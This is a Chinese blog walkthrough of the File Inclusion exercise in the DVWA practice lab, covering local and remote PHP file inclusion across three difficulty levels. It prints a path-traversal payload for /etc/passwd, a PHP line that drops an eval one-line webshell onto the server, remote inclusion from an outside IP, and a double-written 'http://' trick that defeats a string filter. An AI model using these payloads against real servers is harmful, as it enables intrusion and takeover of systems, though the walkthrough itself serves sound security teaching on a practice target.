dvwa之File inclusion

文章详细介绍了PHP文件包含漏洞的概念,包括本地文件包含和远程文件包含,以及如何利用allow_url_include和allow_url_fopen选项进行攻击。还提到了防御措施,如修改配置文件和过滤恶意字符串,并举例说明了一句话木马的创建和利用过程。
摘要由CSDN通过智能技术生成

相关知识

文件包含是指程序员把后期要重复使用的代码函数放到一个文件中,当后期要使用时只需要调用此文件就可以,不用再重新编写代码。

File Inclusion,文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
require():可以包含文件,如果包含错了,直接报错并退出程序的执行
include():在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
require_once():与require类似,区别在于当重复调用同一文件时,程序只调用一次
include_once():与include类似,区别在于当重复调用同一文件时,程序只调用一次

文件包含漏洞分为两种类型,一种是本地文件包含,一种是远程文件包含。

本地文件包含就是在服务器A中,通过漏洞可以调用打开我们电脑中任意文件,我们可以通过A服务器的网站远程打开并执行我们电脑上的文件,该文件可以任意构造,甚至我们可以在该服务器A的根目录下创建一个php文件,里面是用PHP语言构造的一句话木马,一旦执行我们就可以通过菜刀远程连接A服务器,任意操作其文件。

远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。通过此漏洞,我们可以通过A服务器的网站远程打开并执行任意服务器B上的文件,甚至可以访问服务器A中的任意文件,只要知道它的IP就行,远程访问需要借助Http协议,这种漏洞会造成服务器信息泄露,通过文件包含查看服务器的所有内容,甚至包括里边的用户,密码文件等等。

低级

在打靶场之前,我们要先对配置文件进行更改,打开配置文件中的allow_url_fopen,allow_url_include选项,目的是为了进行后期的远程文件包含,具体操作如下:

开始会提示配置文件中的某些选项未打开
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述进行完这操作后,界面就不会在报错了在这里插入图片描述
查看源码
在这里插入图片描述通过get传参把我们上传的文件进行上传,没有任何过滤措施,当我们点击file1时,网站的url就会变化如下图所示:在这里插入图片描述我们可以更改它所传的参数,可以通过相对路径,用多个…/让目录返回上一级,然后再进入目标目录,如…/…/…/…/…/etc/passwdd在这里插入图片描述网站的警告会让我们知道服务里上传文件的路径,甚至可以知道PHP的各种信息通过输入page=…/…/phpinfo.php在这里插入图片描述靶场的服务器我们视为服务器A,我们的电脑我们视为服务器B,我们在我们的电脑上创建一个txt文件(text文件会被服务器用PHP进行识别),里面的内容为

下面展示一些 内联代码片


<?php fputs(fopen("dvwainclusion.php","w"),"<?php @eval(\$_POST[123]);?>");?>

此代码的意思是在该文件上传路径中创建一个php文件,内容为<?php @eval(\$_POST[123]);?>");?>
这个内容就是一句话木马的PHP 编写,然后我们包含我们的txt文件
在这里插入图片描述防火墙开启会提醒,我们先允许,然后我们的文件路径下面就多了一个一句话木马文件在这里插入图片描述之后我们可以包含此木马文件,跟上面的本地文件包含一样,后面就可以通过菜刀连接服务器,想干嘛干嘛,菜刀的使用就先不多说了。

以上是本地文件包含,我们也可以尝试远程文件包含,远程文件包含需要用到http协议,即我们远程包含某个服务器上的文件如page=http://11.20.011.06/phpinfo.txt,11.20.011.06为服务器IP (我随便打的)

中级

查看源码:在这里插入图片描述相比低级多了对http://, https://,…/, …\的过滤,也就是我们打开的文件路径不能包括这些字符串,http://是用于向服务器根目录进行访问的时候会用到,比如根目录有一个phpinfo.txt文件完后服务器的地址是11.20.011.06(随便输的),我们就可以让page=http://11.20.011.06/phpinfo.txt,来访问此文件

应对以上过滤的办法就通过双写,如page=http://11.20.011.06/phpinfo.txt我们可以写成page=hthttp://tp://11.20.011.06/phpinfo.txt,前面的http://过滤完剩下的字符串又刚好拼接成http://,其余操作同LOW级

高级

查看源码在这里插入图片描述fnmatch() 函数根据指定的模式来匹配文件名或字符串。源码中限制了文件名来防止恶意文件包含,并且!fnmatch( “file*”, $file )代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件,这样我们就远程访问不了了。

这里我们可以用到本地文件传输协议,File协议主要用于访问本地计算机中的文件,就如同在Windows资源管理器中打开文件一样。所有的路径格式都为file:///文件路径
在这里插入图片描述远程访问要用到Http协议,所以有file://的前缀时候不能进行远程访问。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值